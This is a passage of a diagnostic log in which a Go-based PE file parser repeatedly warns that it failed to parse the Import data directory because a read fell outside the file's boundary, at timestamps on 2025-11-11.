reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:27:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 